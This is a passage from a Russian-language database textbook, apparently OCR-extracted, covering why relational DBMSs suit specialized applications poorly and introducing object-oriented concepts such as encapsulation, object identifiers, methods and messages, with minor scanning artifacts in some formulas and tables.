В главе 22, “Объектно-ориентированные СУБД”, рассматривается происхождение и развитие ООСУБД, обсуждаются некоторые базовые концепции, положенные в основу этих систем. Мы познакомимся с манифестом объектно-ориентированных СУБД (Object- Oriented Database System Manifesto), созданным на основании объектно-ориентированной парадигмы, а также с новой объектной моделью, предложенной группой Object Database Management Group (ODMG), которая фактически обрела статус стандарта ООСУБД.
В главе 23, “Объектно-реляционные СУБД”, рассматривается происхождение и развитие ОРСУБД, а также изучаются некоторые базовые вопросы этих систем. Мы рассмотрим манифест систем баз данных третьего поколения (Third Generation Database System Manifesto), опубликованный комитетом по изучению специализированных функций СУБД (Committee for Advanced DBMS Function — CADF). В нем определяется несколько принципов, которым СУБД должны будут удовлетворять в ближайшем будущем. Мы также обсудим манифест СУБД третьего поколения, предложенный Дарвеном (Darwen) и Дэйтом (Date), в котором защищается исходная реляционная модель данных. Дополнительно в этой главе кратко рассматривается язык SQL3 — очередная версия стандарта ANSI/ISO для языка SQL. Здесь же обсуждаются причины, по которым из-за введения определяемых пользователем типов и функций придется вновь подвергнуть пересмотру некоторые эвристические приемы оптимизации запросов, изложенные в главе 18.
Все примеры, приведенные в этой главе, взяты из учебного проекта DreamHome, описанного в разделе 1.7.
Специализированные приложения баз данных
В прошлом десятилетии в информатике произошли значительные изменения. В области баз данных следует отметить широкое распространение реляционных СУБД в таких традиционных бизнес-приложениях, как обработка заказов, учет складских запасов, банковское дело и заказ авиабилетов. Однако существующие реляционные СУБД продемонстрировали свою неадекватность для перечисленных ниже типов приложений, чьи требования сильно отличаются от требований традиционных бизнес-приложений.
Автоматизированное проектирование.
Автоматизированное производство.
Автоматизированная разработка программного обеспечения.
Офисные информационные системы и мультимедиа системы.
Цифровое издательское дело.
Геоинформационные системы.
Автоматизированное проектирование
В базе данных для систем автоматизированного проектирования (Computer-Aided Design — CAD) должны храниться данные, относящиеся к проектам механических и электротехнических конструкций, например зданий, самолетов или интегральных микросхем. Такие проекты имеют следующие общие характеристики.
Проектировочные данные характеризуются большим количеством разных типов, каждый из которых обладает небольшим количеством экземпляров. В обычных базах данных это дело обстоит как раз наоборот. Например, база данных DreamHome состоит не более чем из десятка отношений, хотя такие отношения, как Property_for_Rent, Renter и Viewing, могут содержать тысячи кортежей.
Проекты могут быть очень большими, вполне вероятно, включающими миллионы элементов, часто со многими относительно независимыми подчиненными проектами.
Проект не является статичным и эволюционирует со временем. При изменении проекта любые последствия этих изменений должны быть отражены во всех представлениях проекта. Динамическая природа проекта может означать то, что некоторые действия не могут быть предусмотрены в самом начале проекта.
Обновления данных сопровождаются далеко идущими последствиями из-за имеющихся топологических связей, функциональных зависимостей, допусков и т.д. Единственное изменение может повлиять на большое количество объектов данного проекта.
Часто для одного компонента проекта существует несколько альтернативных решений, а потому для каждого такого компонента необходимо организовать учет версий и управление выбором конфигурации.
В работе над проектом могут участвовать сотни людей, причем они могут параллельно работать над несколькими версиями одного большого проекта. Однако даже при таких условиях работы конечный продукт должен быть непротиворечивым и скоординированным. Этот тип деятельности называется коллективной разработкой.
Автоматизированное производство
В базе данных для автоматизированного производства (Computer-Aided Manufacturing — САМ) хранятся данные, аналогичные данным CAD-систем, а также данные о дискретных (например, автомобилях на конвейере) или непрерывных (например, про-
дукты химического синтеза) продуктах. В частности, в химической промышленности широко используются приложения, которые отслеживают информацию о состоянии системы: температура в реакторе, скорость потоков и уровень выхода продуктов реакции. Существуют также приложения, которые контролируют различные физические процессы, например открытие клапанов, позволяющих передать большее количество теплоты к реактору или увеличить поток в охлаждающих системах. Такие приложения часто имеют иерархическую структуру, в которой приложения высокого уровня отслеживают работу всего предприятия в целом, а приложения низкого уровня — отдельные производственные процессы. Эти приложения должны работать в режиме реального времени и быть способны эффективно управлять процессами для поддержания оптимальной производительности в рамках заданных допусков. Для реагирования на разные условия эксплуатации в этих приложениях используется набор стандартных алгоритмов и настраиваемых правил. Операторы время от времени могут изменять эти правила с целью оптимизации производительности, принимая решения на основе комплексных исторических сведений, которые должны сохраняться в подобной системе. В данном случае вычислительные системы должны хранить огромный объем данных с иерархической природой, а также сложные связи между данными. Кроме того, в ней должны быть предусмотрены инструменты для перемещения к нужным данным, их просмотра и реагирования на их изменения.
Автоматизированная разработка программного обеспечения
В базе данных системы автоматизированной разработки программного обеспечения (Computer-Aided Software Engineering — CASE) хранятся данные, относящиеся к различным этапам жизненного цикла разработки программного обеспечения: планированию, сбору и анализу требований, проектированию, реализации, тестированию, сопровождению и документированию. CASE-проекты, подобно CAD-проектам, могут быть очень большими и для их реализации обычно применяется коллективная разработка. Инструменты управления конфигурацией программного обеспечения, как правило, позволяют совместно использовать схему проекта, код и документацию, а также отслеживать зависимости между этими компонентами и вносить требуемые изменения. С помощью инструментов управления проектом можно координировать такие отличающиеся типы деятельности, как планирование решения потенциально очень сложных независимых задач, проведение оценки затрат и наблюдение за ходом выполнения работ.
Офисные информационные системы и мультимедиа системы
База данных офисной информационной системы (Office Information System — OSI) хранит данные, которые относятся к управлению бизнес-информацией, с помощью компьютера, включая электронную почту, документы, счета и т.д. Для предоставления большей поддержки в этой области необходимо иметь дело с типами данных в более широком диапазоне, чем просто имена, адреса, даты и деньги. Современные системы способны работать с текстами произвольного формата, фотографиями, диаграммами, аудио- и видеозаписями. Например, мультимедиа-документ может содержать текст, фотографии, электронные таблицы и голосовые комментарии. Кроме того, документы могут обладать особой структурой, особенно те, которые описываются с помощью таких языков разметки, как SGML (Standardized Generalized Markup Language) или HTML (HyperText Markup Language). Документы могут совместно использоваться многими пользователями с помощью таких средств, как электронная почта и электронные доски объявлений, функционирующие в среде Internet. Такие приложения должны уметь хранить данные с более богатой структурой, чем простейшие записи, состоящие из чисел и коротких текстовых строк.
Потенциально очень серьезным критическим замечанием в отношении баз данных является сделанное многими специалистами заключение о том, что наибольшая в мире “база данных” World Wide Web была разработана без учета или с незначительным использованием технологии баз данных. Более подробно вопросы интеграции World Wide Web и СУБД рассматриваются в главе 24, “Web-технологии и СУБД”.
Цифровое издательское дело
Уже в следующем десятилетии способ ведения издательского дела, вероятно, претерпит существенные изменения. Дело в том, что постепенно становится возможным хранить книги, журналы, газеты и статьи в электронном виде, а также доставлять их клиентам по высокоскоростным сетям. Аналогично офисным информационным системам, возможности цифрового издательского дела расширяются средствами обработки мультимедиа-документов, включающих текст, изображения, аудио- и видеоматериалы, анимацию. В некоторых случаях количество доступной в интерактивном режиме информации просто чудовищно, порядка петабайт (1015 байт), что делает их самыми крупными базами данных, с которыми СУБД когда-либо приходилось иметь дело.
Геоинформационные системы
В базе данных геоинформационной системы (Geographic Information Systems — GIS) хранятся разные типы такой пространственной и временной информации, которая используется в землеустройстве и подводных изысканиях. Большинство данных в этих системах получено в результате геологических исследований и на основе аэрофотосъемки, поэтому они могут иметь очень большой объем. При этом процедуры поиска могут заключаться в нахождении отдельных признаков, например по форме, цвету или текстуре, для чего необходимо использование сложных методов распознавания образов.
Прочие специализированные приложения баз данных включают перечисленные ниже системы.
Научные и медицинские приложения, в которых могут храниться комплексные данные, представляющие такие сложные системы, как молекулярные модели для синтезированных химических компонентов и генетических материалов.
Экспертные системы, в которых могут храниться знания и правила, предназначенные для использования в приложениях искусственного интеллекта.
Другие типы приложений, использующих сложные и взаимосвязанные объекты и процедурные данные.
Недостатки реляционных СУБД
В главе 3, “Реляционная модель”, рассматривались строгие теоретические основы реляционной модели, основанные на логике предикатов первого порядка. Эта теория способствовала созданию декларативного языка SQL, который в настоящее время стал стандартным в отношении определения и манипулирования реляционными базами данных. Другие сильные стороны реляционной модели — простота, пригодность для систем интерактивной обработки транзакций (OLTP), обеспечение независимости от данных. Однако реляционная модель данных и РСУБД, в частности, имеют и определенные недостатки. Ниже перечислены некоторые наиболее значительные из них, которые часто упоминаются сторонниками объектно-ориентированного подхода. В этом разделе мы рассмотрим все эти недостатки и предоставим читателю возможность самостоятельно оценить их значение.
Слабое представление сущностей реального мира.
Семантическая перегрузка.
Слабая поддержка ограничений целостности и корпоративных ограничений.
Однородная структура данных.
Ограниченный набор операций.
Трудности организации рекурсивных запросов.
Проблема рассогласования.
Другие проблемы РСУБД, связанные с параллельностью, изменениями схемы и слабыми средствами доступа.
Слабое представление сущностей реального мира
Процесс нормализации обычно приводит к созданию отношений, которые не соответствуют сущностям “реального мира”. Фрагментация сущности “реального мира” на несколько отношений с физическим представлением, которое отражает эту структуру, является неэффективным и приводит к необходимости выполнения многих соединений в процессе обработки запросов. Как уже упоминалось в главе 18, соединение — это одна из наиболее дорогостоящих операций реляционной алгебры.
Семантическая перегрузка ,
Реляционная модель обладает только одной конструкцией для представления данных и связей между данными — отношением. Например, для представления связи типа M:N между двумя сущностями А и В необходимо создать три отношения: два для представления сущностей А и В, а третье — для представления связи. При этом не существует никакого механизма для установления различий между сущностями и связями или между разными типами связей, заданными между сущностями. Например, связь типа 1:М может иметь разный смысл: Has (имеет), Owns (владеет), Manages (управляет) и т.д. Если бы подобные различия можно было отразить в схеме, то операциям можно было придать определенный семантический смысл. Из-за отсутствия подобных возможностей говорят, что реляционная модель семантически перегружена.
Для решения этой проблемы было предпринято много попыток создания семантических моделей данных, т.е. моделей, которые несут большую смысловую нагрузку, чем просто значения данных. Подробные сведения на эту тему заинтересованный читатель найдет в обзорных работах Халла и Кинга (Hull and King, 1987), а также Пекхема и Марьянски (Peckham and Maryanski, 1988). Однако реляционная модель не полностью лишена семантических возможностей. Например, в ней имеются домены и ключи (см. раздел 3.2), а также функциональные многозначные зависимости и зависимости соединения (см. главу 6, “Нормализация”).
Слабая поддержка ограничений целостности и корпоративных ограничений
Целостность означает истинность и непротиворечивость хранимых данных и выражается обычно в виде ограничений, отражающих те правила непротиворечивости, которые нельзя нарушать в используемой базе данных. Выше, в разделе 3.3, уже описывались понятия целостности сущностей и целостности связей, а в разделе 3.2.1 рассматривались домены, которые также являются некоторыми типами ограничений. К сожалению, многие коммерческие системы не полностью поддерживают эти ограничения и их приходится встраивать в приложения. Безусловно, это небезопасно и может привести к дублированию усилий или, что еще хуже, возникновению противоречивых состояний. Более того, в реляционной модели не предусмотрены никакие средства поддержки корпоративных правил, что опять же означает необходимость их встраивания в СУБД или в приложение.
Как уже было показано в главах 13, “Язык SQL”, и 14, “Дополнительные средства языка SQL”, стандарт SQL-92 помогает частично устранить этот дефицит за счет включения конструкций, предназначенных для создания ограничений, которые являются частью языка определения данных.
Однородная структура данных
Реляционная модель предполагает как горизонтальную, так и вертикальную однородность данных. Горизонтальная однородность данных означает, что каждый кортеж отношения должен состоять из одних и тех же атрибутов. А вертикальная однородность означает, что значения в некотором столбце отношения должны принадлежать одному и тому же домену. Более того, на пересечении строки и столбца должно находиться атомарное значение. Эта фиксированная структура является слишком жесткой
и недостаточной для представления многих объектов “реального мира” с достаточно сложной структурой, что приводит к неестественным соединениям, которые, как уже упоминалось выше, весьма неэффективны. Одним из таких классических примеров является бурное увеличение количества частей при попытке представления некоторого объекта, например самолета, который состоит из многих деталей и узлов, которые содержат другие детали и узлы, и т.д. Этот недостаток инициировал изучение сложных объектных систем баз данных и систем баз данных, которые не находятся в первой нормальной форме. Эти исследования описываются в статьях Йешке и Шека (Jaeschke and Schek, 1982), а также Бансильона и Хошафяна (Bancilhon and Khoshafian, 1989). В последней из этих работ дано следующее рекурсивное определение объекта.
Каждое атомарное значение (например, целое число, число с плавающей запятой, строка) является объектом.
Если ар а2, ..., ап являются именами разных атрибутов, а Ор 02, ..., 0п — объектами, то [ар 01г а2:О2, ..., ап:0п] является объектом-кортежем.
Если Ор 02, ..., 0п являются объектами, то S=(0p 02, ..., 0п} — объектом-набором.
Ниже перечислены примеры истинных объектов этой модели.
Атомарные объекты
Набор
Кортеж
Иерархический кортеж
Набор кортежей
ВЗ, John, Glasgow
(SG37, SG14, SG5}
[Bno:B3, Sreet:163 Main St, City:Glasgow]
[Bno:B3, Sreet:163 Main St, City:Glasgow, Staff:[SG37, SG14, SG5}]
{[Bno:B3, Sreet:163 Main St, City:Glasgow], (Bno;B5, Sreet:22
Deer Rd, City:London]}
Вложенное отношение
{[Bno:B3, Sreet:163 Main St, City:Glasgow, Staff:{SG37, SG14, SG5}]
[Bno:B5, Sreet:22 Deer Rd, City:London, Staff:{SL21, SL41}]}
В защиту реляционной модели следует сказать, что ее симметричная структура может пониматься и как одно из ее преимуществ.
Во многих реляционных базах данных теперь предусмотрено хранение больших бинарных объектов, или BLOB-объектов (Binary Large Objects — BLOB). BLOB- объект — это значение данных, которое содержит бинарные данные, представляющие рисунок, оцифрованную видео- или аудиозапись, процедуру или любой другой неструктурированный объект. СУБД не обладает никакими сведениями о содержании BLOB-объекта или его внутренней структуре. Это предотвращает выполнение запросов и операций по отношению к сложным и структурированным типам данных. Обычно база данных не содержит непосредственно саму информацию, а хранит лишь ссылку на некий файл. Использование BLOB-объектов не является элегантным решением. Хранение такой информации во внешних файлах не позволяет использовать многие средства защиты, которые естественным образом присутствуют в СУБД. Более того, BLOB-объекты не могут содержать другие BLOB-объекты, а потому не могут иметь вид составных объектов. Кроме того, BLOB-объекты обычно игнорируют поведенческие аспекты объектов. Например, в некоторой реляционной СУБД рисунок может храниться как BLOB-объект. Однако он при этом будет лишь храниться и отображаться. Не существует возможности управлять его внутренней структурой или отображать отдельные части этого рисунка, так или иначе манипулировать ими. Пример использования BLOB-объектов приведен на рис. 12.22.
Ограниченный набор операций
Реляционная модель обладает только фиксированным набором операций, включающим операции с множествами и кортежами, определенные в спецификации SQL- 92, которая не допускает определения новых операций. Это накладывает большие
ограничения на моделирование поведения объектов “реального мира”. Например, в GIS-приложении обычно используются точки, линии, группы линий и многоугольники, для работы с которыми требуются операции определения расстояния, нахождения пересечений и оценки включения.
Трудности организации рекурсивных запросов
Атомарность данных означает, что в данной модели не допускаются повторяющиеся группы значений. В результате становится чрезвычайно трудно обрабатывать рекурсивные запросы, т.е. запросы по отношению к связям, которые (прямо или косвенно) связывают отношение с самим собой. В качестве примера рассмотрим упрощенное отношение Staff, содержащее сведения о личных номерах сотрудников, дополненные личным номером их менеджера (табл. 21.1).
Таблица 21.1. Упрощенное отношение Staff
Staff.No
Manager_Staff.No
S5
S4
S4
S3
S3
S2
S2
S1
S1
NULL
Как можно выбрать сведения обо всех менеджерах, которые прямо или косвенно руководят работой сотрудника с личным номером ^5’? Для поиска двух первых уровней иерархии можно применить такой запрос:
SELECT manager staff_no
FROM staff ~
WHERE staff_no = 'S5'
UNION
SELECT manager_staff_no
FROM staff
WHERE staff_no =
(SELECT manager_staff_no FROM staff
WHERE staff_no = 'S5'
Можно легко расширить этот подход для поиска полного ответа на заданный вопрос. В данном конкретном примере предложенный подход приемлем, поскольку нам известно общее количество уровней обрабатываемой иерархии. Если же нам потребуется создать запрос более общего типа, например “Для каждого сотрудника найти всех менеджеров, которые прямо или косвенно руководят его работой?”, то данный подход нельзя будет реализовать только на основе интерактивного языка SQL. Для преодоления подобных проблем операторы языка SQL должны быть встроены в программу на языке программирования более высокого уровня, в котором имеются конструкции для организации итераций. Дополнительно во многих реляционных СУБД предусмотрены инструменты создания отчетов с подобными конструкциями. Однако в любом случае это будет конкретное приложение, а не неотъемлемая возможность самой системы, предоставляющей требуемые функции.
Для создания запросов такого типа в реляционной алгебре предложено использовать унарную операцию транзитивного замыкания (transitive closure) или рекурсивного замыкания (recursive closure) (Merett, 1984).
Транзитивное
Для данного отношения R с атрибутами (А1г А2), определенными на
замыкание
одном и том же домене, его транзитивным замыканием называется отношение R, включающее все кортежи, которые последовательно выводятся на основании правила транзитивности: если (а,Ь) и (Ь,с) являются кортежами отношения R, то кортеж (а,с) также входит в это замыкание.
Эту операцию нельзя выполнить только на основе фиксированного количества операций реляционной алгебры. Для этого, наряду с операторами соединения, проекции и объединения, потребуется иметь и оператор цикла. Результат выполнения операции транзитивного замыкания по отношению к приведенному выше отношению Staff представлен в табл. 21.2.
Таблица 21.2. Транзитивное замыкание отношения Staff
Staff.No
Manager_Staff_No
S5
S4
S4
S3
S3
S2
S2
S1
S1
NULL
S5
S3
S5
S2
S5
SI
S4
S2
S4
SI
S3
SI
Проблема рассогласования
В разделе 13.1 уже отмечалось, что спецификация SQL-92 не обладает вычислительной полнотой. Для преодоления этой трудности в стандарте SQL предусмотрено использование встроенных SQL-операторов, что упрощает разработку более сложных приложений баз данных (см. раздел 14.5). Однако этот подход приводит к возникновению проблемы рассогласования (impedance mismatch), вызванной смешиванием разных парадигм программирования. Во-первых, язык SQL является декларативным языком программирования, который оперирует строками данных, а такой высокоуровневый язык, как язык С, является процедурным языком программирования, который может управлять только одной строкой данных за один раз. Во-вторых, язык SQL и языки 3-го поколения используют разные модели представления данных. Например, в языке SQL предусмотрены встроенные типы данных Date и Interval, которых нет в традиционных языках программирования. Таким образом, прикладной программе потребуется преобразовать данные между этими двумя представлениями, что неэффективно как в отношении затраченных на программирование усилий, так и в отношении использования вычислительных ресурсов. По некоторым оценкам, доля времени на программирование подобных преобразований и доля объема соответствующего кода в приложениях достигает 30% (Atkinson et al., 1983). Более того, из-за использования двух различных типов систем невозможно организовать в автоматическом режиме контроль типов во всем приложении в целом. Одно из предлагаемых решений этой проблемы заключается не в замене реляционных языков объектноориентированными языками уровня записей, а во введении в языки программирова-
ния инструментов для работы с множествами (Date, 1995). Однако основная задача ООСУБД как раз и заключается в обеспечении более гладкой интеграции модели данных СУБД и модели данных базового языка программирования. Мы вернемся к обсуждению этого вопроса в следующей главе.
Другие проблемы РСУБД
Транзакции в бизнес-процессах обычно являются кратковременными, поэтому элементарные операции и протоколы управления параллельностью (например, двухфазные блокировки) плохо подходят для долговременных транзакций, характерных при выполнении сложных проектов (см. раздел 17.4).
Трудности, связанные с изменениями схемы. Администраторам баз данных приходится вносить изменения в структуру базы данных, что, как правило, требует внесения изменений и в программы, осуществляющие доступ к измененным структурам. Даже с использованием современных технологий этот процесс выполняется очень медленно и громоздко. В результате большинство организаций вынуждено использовать существующие структуры баз данных. Даже если они хотели и могли бы изменить способ ведения бизнеса для удовлетворения новых требований, то не смогли бы сделать это из-за того, что совершенно недопустимо тратить так много времени и средств на модификацию их информационной системы (Taylor, 1992). Для удовлетворения требования повышенной гибкости необходимо использовать такую систему, которая не препятствовала бы естественной эволюции схемы.
Реляционные СУБД задумывались для ассоциативного доступа с привязкой к некоторому контексту, поэтому они обладают слабыми средствами навигационного доступа, т.е. доступа на основе перемещения между отдельными записями. Этот тип доступа особенно важен для многих сложных приложений, которые обсуждались в предыдущем разделе.
Первые две из этих трех проблем характерны для многих типов СУБД, а не только для реляционных систем. На самом деле, нет никаких существенных проблем, которые препятствовали бы реализации таких механизмов в реляционной модели.
В очередной версии стандарта языка SQL, т.е. в спецификации SQL3, предпринята попытка устранить многие из описанных выше недостатков. Например, предлагается возможность определения новых типов данных и операций как части языка определения данных, а также возможность добавления новых конструкций для того, чтобы сделать язык вычислительно полным. Подробно спецификация SQL3 рассматривается в разделе 23.4.
Основные концепции объектно-ориенти рованного подхода
В этом разделе рассматриваются основные концепции объектно-ориентированного подхода. Мы начнем обсуждение этой темы с краткого знакомства с основными понятиями абстракции, инкапсуляции и сокрытия информации.
Абстракция, инкапсуляция и сокрытие информации
Абстракция — это процесс идентификации наиболее важных аспектов сущности и игнорирование всех остальных ее малозначащих свойств. В контексте создания программного обеспечения это означает концентрацию внимания на том, что представляет собой объект и что он может делать еще до выбора метода его реализации.
Таким образом, подробности реализации откладываются на максимально долгий срок, чтобы избежать ограничений, которые могут стать препятствиями на последующих стадиях разработки. Двумя основными аспектами абстракции являются инкапсуляция и сокрытие информации.
Понятие инкапсуляции означает, что объект содержит как структуру данных, так и набор операций, с помощью которых этой структурой можно манипулировать. Концепция сокрытие информации означает, что все внешние аспекты объекта отделяются от подробностей его внутреннего устройства, скрытых от внешнего мира. Таким образом, внутренние детали строения объекта могут быть изменены без какого- либо влияния на приложения, в которых он используется, при условии, что внешние детали остаются теми же. Это позволяет исключить излишнюю зависимость приложений от структуры данных, когда небольшое изменение способа представления информации способно породить значительные изменения во многих частях приложения. Иначе говоря, сокрытие информации обеспечивает независимость от данных.
Названные концепции упрощают создание и сопровождение приложений за счет модуляризации. Объект представляет собой “черный ящик”, который может быть создан и изменен независимо от остальной системы при условии, что остается неизменным его открытый интерфейс. В некоторых системах, например в языке Smalltalk, идеи инкапсуляции и сокрытия информации взаимосвязаны. Дело в том, что в языке Smalltalk объектная структура всегда скрыта и видимым остается только операционный интерфейс. Таким образом, объектная структура может быть изменена без какого-либо влияния на любые приложения, которые используют этот объект.
Существуют два представления об инкапсуляции: представление объектно-ориентированного языка программирования (ООЯП) и адаптация этого представления для нужд баз данных. В некоторых ООЯП инкапсуляция достигается за счет использования абстрактных типов данных (Abstract Data Types — ADT). В этом представлении объект состоит из интерфейса и реализации. Интерфейс предоставляет спецификацию операций, которые могут быть выполнены с объектом; а реализация состоит из структуры данных для ADT и функций, которые реализуют этот интерфейс. Для других объектов и пользователей доступен только интерфейс. В представлении базы данных должная инкапсуляция достигается благодаря тому, что программисты обладают правом доступа только к интерфейсу. Таким образом, инкапсуляция обеспечивает логическую независимость от данных: внутреннюю реализацию ADT можно изменять, не затрагивая приложения, которые используют этот ADT (Atkinson et al., 1989).
Объекты и атрибуты
Многие важные понятия объектно-ориентированного подхода происходят от языка программирования Simula, разработанного в Норвегии в середине 60-х годов для моделирования процессов реального мира (Dahl and Nygaard, 1966), хотя само объектно-ориентированное программирование не воспринималось как новая парадигма вплоть до создания языка программирования Smalltalk (Goldberg and Robson, 1983). Модули языка Simula строились не на процедурах, как в обычных языках программирования, а на физических объектах, которые имитировались в процессе моделирования. Такой подход был оправдан тем, что объекты являются ключевым компонентом моделирования: каждый объект должен иметь информацию о его текущем состоянии, а также моделируемые действия (поведение). Исходя из этого в языке Simula предлагается следующее определение объекта.
Объект Уникально идентифицируемая сущность, которая содержит атрибуты, описывающие состояние объектов “реального мира”, и связанные с ними действия.
В учебном проекте DreamHome примерами моделируемых объектов являются отделение компании, сотрудник или объект недвижимости. Концепция объекта сравнительно проста и в то же время достаточно мощная: каждый объект может опреде-
литься и поддерживаться независимо от других. Это определение объекта аналогично определению сущности, данного в разделе 5.1.1. Однако объект инкапсулирует состояние и поведение» а сущность моделирует только состояние.
Текущее состояние объекта описывается одним или несколькими атрибутами, или переменными экземпляра (instance variables). Например, отделение компании, расположенное по адресу 463 Main Street', может иметь атрибуты, приведенные в табл. 21.3. Атрибуты могут быть простыми и составными. Простой атрибут может иметь примитивный тип (например, целое число, строка, действительное число и т.д.) и принимать литеральное значение. Например, атрибут Впо в табл. 21.3 является простым атрибутом с литеральным значением 'ВЗ'. Составной атрибут может содержать коллекции и/или ссылки. Например, атрибут Sales_Staff является коллекцией объектов типа Staff. Ссылочный атрибут представляет связь между объектами. Он содержит значение (или коллекцию значений), которое также является объектом. Например, атрибут Sales_Staff, если говорить точнее, является коллекцией ссылок на объекты типа Staff. Ссылочный атрибут концептуально аналогичен внешнему ключу в реляционной модели данных или указателю в языках программирования. Объект, который содержит один или несколько составных атрибутов, называется составным объектом (раздел 21.3.9).
Таблица 21.3. Атрибуты одного из экземпляров объекта типа Branch
АтрибутЗначение
Впо
'B3'
Street
463 Main St'
Area
'Partick'
City
'Glasgow'
Post_Code
'Gil 9QX'
Tel_No
'0141-339-2178'
FaX-No
'0141-339-4439'
SaleS-Staff
'Ann Beech'; 'David Ford'
Manager
'Susan Brand'
Атрибуты обычно указываются с помощью точки, например, так, как показано ниже для атрибута Street объекта Branch:
branch_object.street
Идентификация объектов
Ключевой частью определения объекта является уникальность его идентификации. В объектно-ориентированной системе каждому объекту в момент его создания присваивается идентификатор объекта (Object Identifier — OID), который обладает следующими свойствами:
генерируется системой;
уникально обозначает этот объект;
инвариантен в том смысле, что его нельзя изменить во время жизненного цикла программы — после создания объекта его OID-идентификатор не может быть использован повторно ни для какого другого объекта, даже после удаления данного объекта;
не зависит от значений его атрибутов (т.е. от его текущего состояния, два объекта могут иметь одинаковое состояние, но всегда обладают разными OID-идентификаторами);
скрыт от пользователя (в идеале).
Таким образом, идентичность гарантируется тем, что объект всегда можно единственным образом идентифицировать, что автоматически гарантирует целостность сущностей (см. раздел 3.3.2). Действительно, поскольку идентификация объекта гарантирует его уникальность в масштабах системы, то это представляет собой более сильное ограничение, чем целостность сущностей в реляционной модели данных, в которой уникальность требуется обеспечить только в рамках отношения. Кроме того, объекты могут содержать, точнее, ссылаться на другие объекты с помощью их идентификаторов объектов. Однако в этом случае для каждого упоминаемого в системе OID-идентификатора всегда должен существовать объект, который ему соответствует, т.е. в системе не должно быть висячих ссылок. Например, в учебном проекте DreamHome между отношениями Staff и Branch имеется связь WorkAt. Если каждый объект отделения компании встроить в соответствующие объекты сотрудников, то в таком случае возникнут проблемы с избыточностью информации и аномалиями обновления, которые рассматривались нами в разделе 6.2. Однако если вместо самого объекта отделения компании в соответствующий объект сотрудника встроить OID- идентификатор его отделения компании, то в системе по-прежнему останется по одному экземпляру каждого объекта отделения компании и непротиворечивость данных будет поддерживать гораздо проще. Таким образом, объекты могут использоваться совместно, а их OID-идентификаторы могут применяться для поддержания в системе ссылочной целостности (см. раздел 3.3.3). Подробнее вопросы ссылочной целостности рассматриваются в разделе 22.7.2.
Существует несколько способов реализации идентификации объектов. В реляционных СУБД идентичность объекта основана на некотором значении*, т.е. для обеспечения уникальности всех кортежей отношения используются значения первичного ключа. Первичные ключи не обеспечивают того уровня идентичности объекта, который требуется в объектно-ориентированных системах. Во-первых, как уже упоминалось выше, первичный ключ является уникальным внутри отношения, но не для всей системы. Во-вторых, первичный ключ обычно выбирается на основании атрибутов данного отношения, что означает его зависимость от текущего состояния объекта. Если потенциальный ключ может подвергаться изменениям, то идентификация может обеспечиваться с помощью уникальных идентификаторов, например номеров отделений компании Впо. Однако поскольку значения этого атрибута не контролируются системой, то нет никаких гарантий защиты от нарушений идентичности. Кроме того, суррогатные значения ключа, подобные *В1r, 'В2' или 'ВЗ', обладают небольшим семантическим значением для пользователя.
Для поддержки идентичности в языках программирования часто используются другие методы, включая имена переменных и указатели или адреса виртуальной памяти, но в этих подходах идентичность объекта также подвергается опасности (Khoshafian and Abnous, 1990). Например, в языках C/C++ OID-идентификатор является физическим адресом в области памяти процесса. В большинстве случаев применения баз данных это адресное пространство окажется слишком мало, ведь обеспечение масштабируемости базы данных требует, чтобы OID-идентификатор оставался уникальным для всех устройств хранения, возможно, даже для разных компьютеров в распределенной СУБД. Более того, при удалении объекта занимаемая им прежде память должна быть повторно используемой, а потому для вновь созданного объекта может быть выделено то же пространство, которое ранее занимал удаленный объект. Все ссылки на старый объект, которые становятся недействительными после его удаления, теперь снова становятся действительными, но, к сожалению, они уже указывают на неправильный объект. Аналогичным образом, перемещение объекта в памяти со сменой одного адреса другим нарушает идентичность объекта. В данном случае для обеспечения независимости от состояния и расположения необходимо использовать логический идентификатор объекта. Подробнее логические и физические OID- идентификаторы описываются в разделе 22.2.
Ниже перечислены некоторые преимущества использования OID-идентификаторов в качестве идентификаторов объектов.
Эффективность. Для хранения OID-идентификаторов внутри составного объекта требуется очень мало места. Обычно они меньше текстовых имен, внешних ключей или семантических ссылок.
Быстрота. OID-идентификатор указывает на фактический адрес или место внутри таблицы, в котором находится адрес данного объекта. Это значит, что объекты могут быть быстро обнаружены, независимо от места их текущего хранения: в оперативной памяти или на жестком диске.
Невозможность изменения пользователем. Если OID-идентификаторы генерируются системой и скрыты от пользователей, или, по крайней мере, доступны только для чтения, то в такой системе проще гарантируется целостность сущностей и связей. Более того, это позволяет пользователю не заботиться о поддержании целостности данных.
Независимость от содержания данных. OID-идентификаторы никак не зависят от данных, которые содержатся в данном объекте. Это позволяет изменять значение каждого атрибута объекта, но при этом данный объект остается тем же объектом с прежним OID-идентификатором.
Обратите внимание на то, что из последнего свойства следует возможность возникновения двусмысленной ситуации: два объекта могут выглядеть совершенно одинаково для пользователя (значения всех атрибутов одинаковы), но при этом обладать разными OID- идентификаторами, а потому считаться разными объектами. Если OID-идентификаторы скрыты от пользователя, то как он сможет различить их? Из этого следует, что первичные ключи все еще необходимы для того, чтобы пользователи могли различать такие объекты. При таком способе идентификации объектов можно провести различия между идентичностью и равностью объектов. Два объекта называются идентичными тогда и только тогда, когда они имеют одинаковые OID-идентификаторы (что обозначается одним знаком равенства =). Два объекта называются равными тогда и только тогда, когда они имеют одинаковые состояния (что обозначается двумя знаками равенства ==).
Методы и сообщения
Объект инкапсулирует данные и функции в замкнутом пакете. В объектной технологии функции обычно называются методами. На рис. 21.1 показано концептуальное представление объекта с расположенными внутри атрибутами, защищенными извне с помощью методов.
Рис. 21.1. Схема строения объекта с атрибутами и методами
Методы определяют поведение объекта. Они могут использоваться для изменения состояния объекта за счет изменения значений его атрибутов или для создания запросов к значениям избранных атрибутов. Например, могут существовать методы для добавления сведений о новом объекте недвижимости, предназначенном для сдачи в аренду, для обновления сведений о зарплате сотрудника или для распечатки сведений о конкретном сотруднике.
Метод состоит из имени и тела, которое обеспечивает поведение, связанное с данным именем метода. В объектно-ориентированных языках программирования тело состоит из блока программного кода, который и выполняет требуемые функции. Например, в листинге 21.1 показан пример метода Update_Salary с входным параметром Increment, который суммируется с переменной экземпляра Salary для вычисления новой зарплаты сотрудника.
Листинг 21.1. Пример реализации метода
method void update_salary(float increment)
{
salary = salary + increment;
}
Сообщения являются средством взаимодействия объектов. Сообщение представляет собой запрос, направленный одним объектом (отправителем) в адрес другого объекта (получателя) и требующий, чтобы объект-получатель выполнил один из своих методов. Один и тот же объект может быть одновременно и отправителем, и получателем. Доступ к методу обычно обозначается точкой. Например, для исполнения метода Update_Salary объекта Staff с передачей ему параметра 1000 следует использовать такой синтаксис:
staff_object.update_salary(1000)
В традиционном языке программирования сообщение записывается как обычный вызов функции:
